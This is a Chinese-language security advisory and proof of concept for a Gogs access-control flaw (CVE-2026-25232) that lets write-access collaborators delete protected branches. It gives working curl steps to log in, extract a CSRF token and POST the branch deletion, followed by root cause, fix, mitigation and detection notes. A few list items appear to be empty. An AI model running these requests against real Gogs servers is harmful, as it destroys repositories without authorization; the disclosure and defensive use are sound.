| 字段 | 详情 |
|---|---|
| CVE | CVE-2026-25232 |
| 产品 | Gogs(Go Git 服务) |
| 受影响版本 | <= 0.13.4 |
| 修复版本 | 0.14.1 |
| CVSS 评分 | 中危 |
| CWE | CWE-863:授权不正确 |
| 所需认证 | 是(对仓库具有写入权限) |
| 影响 | 从写入权限提升至管理员级操作 |
CVE-2026-25232 是 Gogs Web 界面中的一个访问控制绕过漏洞。它允许任何具有写入权限的仓库协作者通过向 DeleteBranchPost 端点发送直接 POST 请求来删除受保护分支(包括默认分支),从而完全绕过分支保护机制。
根本原因在于 Git Hook 层与 Web 界面在实施分支保护时存在差异:
DeleteBranchPost 函数不会触发 Git Hooks,因此保护检查永远不会被执行这使得低权限协作者能够执行本应仅限仓库管理员执行的操作。
http://<TARGET>:3001attacker:Password123!(对仓库具有写入权限)admin/important-repomain(默认分支)确认该分支已受保护且无法通过正常方式删除:
# 尝试通过 API 正常删除分支 - 此操作应失败
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
预期响应:403 Forbidden 或保护错误。
从任意已认证页面获取 CSRF 令牌:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# 从仓库页面提取 CSRF 令牌
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
向分支删除端点发送直接 POST 请求,绕过保护检查:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
尽管攻击者仅具有写入权限,受保护分支仍被删除。
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
main 分支将不再出现在响应中。
Gogs Web 处理器中的 DeleteBranchPost 函数验证了用户已通过认证且对仓库具有写入访问权限,但不会检查目标分支是否受保护:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
检查:用户是否已认证? ✓
检查:用户是否具有写入访问权限? ✓
检查:分支是否受保护? ✗(缺失)
↓
分支删除成功
实施分支保护的 Git Hook 层仅在通过 SSH 或 HTTP Git 协议进行 Git 推送/删除操作时才会触发——而不会在 Web 界面操作期间触发。这一架构性缺口意味着任何具有写入权限的协作者都可以执行此操作。
具有写入权限的恶意协作者可以:
在 Gogs 仓库为自动化部署流水线提供输入的环境中,这可能导致供应链攻击。
升级至 Gogs v0.14.1 或更高版本。该修复在 DeleteBranchPost 函数中添加了适当的授权检查,以在允许删除之前验证分支保护状态,无论请求以何种方式发出。
作为临时缓解措施:
/repos/{owner}/{repo}/branches/delete 的意外 POST 请求查找以下利用迹象:
/<owner>/<repo>/branches/delete 的意外 POST 请求本 PoC 仅用于教育目的和授权安全测试。请勿将其用于未经明确许可进行测试的系统。